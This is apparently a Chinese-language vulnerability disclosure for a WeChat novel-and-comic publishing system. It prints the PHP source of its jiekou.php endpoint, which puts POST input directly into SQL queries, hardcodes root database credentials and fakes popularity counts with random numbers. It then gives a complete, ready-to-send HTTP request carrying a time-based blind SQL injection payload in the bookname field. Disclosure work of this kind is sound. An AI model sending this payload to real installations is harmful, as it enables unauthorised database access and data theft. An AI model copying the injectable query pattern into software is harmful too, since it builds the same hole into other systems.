微信公众号小说漫画系统存在前台SQL注入漏洞

<?phpheader("Content-type: text/html; charset=utf-8");$servername = "localhost";$username = "root";$password = "root";$dbname = "www.pnp8.com";$sl=$_POST['sl'];$sl1=$_GET['sl1'];$bookname=$_POST['bookname'];//书名$author=$_POST['author'];//作者$des=$_POST['des'];//简介$tstype=$_POST['tstype'];//漫画首页分类$sstype=$_POST['sstype'];//所属分类$zishu=$_POST['zishu'];//简介$litpic=$_POST['litpic'];//封面图$time=$_POST['time'];//发布时间$sharetitle=$_POST['sharetitle'];//发布时间$mhtitle=$_POST['title'];//漫画标题$jino=$_POST['jino'];//漫画编号$mhbody=$_POST['content'];//漫画内容$jine=$_POST['jine'];//阅读金额$sex=$_POST['sex'];//阅读金额$send=$_POST['send'];//打赏金额$status=$_POST['status'];//小说状态(连载1/完结2)$free_type=$_POST['free_type'];//属性(免费1/收费2)$pay_num=$_POST['pay_num'];//第n话开始需要付费// 漫画阅读数（3万-70万之间）$reads_mh=mt_rand(30000, 700000);// 漫画点赞数（1万-2万之间）$dz_mh=mt_rand(10000, 20000);// 章节点赞数（1万-2万之间）$dzzj_mh=mt_rand(10000, 20000);// 收藏数（5000-9000之间）$sc_mh=mt_rand(5000, 9000);// 打赏数（1000-5000之间）$ds_mh=mt_rand(1000, 5000);// 小说阅读数（1万-10万之间）$reads_book=mt_rand(10000, 100000);// 小说点赞数（3000-1万之间）$dz_book=mt_rand(3000, 10000);// 章节点赞数（3000-1万之间）$dzzj_book=$dz_book;// 收藏数（3000-5000之间）$sc_book=mt_rand(3000, 5000);// 打赏数（1000-3000之间）$ds_book=mt_rand(1000, 3000);// 创建连接$conn = new mysqli($servername, $username, $password, $dbname);mysqli_set_charset($conn, "utf8");// 检测连接if ($conn->connect_error) {    die("fail: " . $conn->connect_error);  return;} if($sl1==3){  for($i=114;$i<417;$i++)  { $upsql="UPDATE vv_mh_list SET summary=share_desc where id=$i";         $conn->query($upsql);       echo ' 更新成功';  }       return;}//添加漫画if($sl==1){  if($bookname!=""){    $stype="SELECT * FROM `vv_mh_list` where title='$bookname'";   ///这里存在注入      $result=$conn->query($stype);

POST /jiekou.php HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: no-cacheConnection: keep-aliveContent-Length: 20Content-Type: application/x-www-form-urlencodedHost: 127.0.0.1Origin: http://127.0.0.1Pragma: no-cacheReferer: http://127.0.0.1/jiekou.phpSec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-user: ?1sl=1&bookname=' AND (SELECT 2775 FROM (SELECT(SLEEP(5)))IiIJ)-- XrlG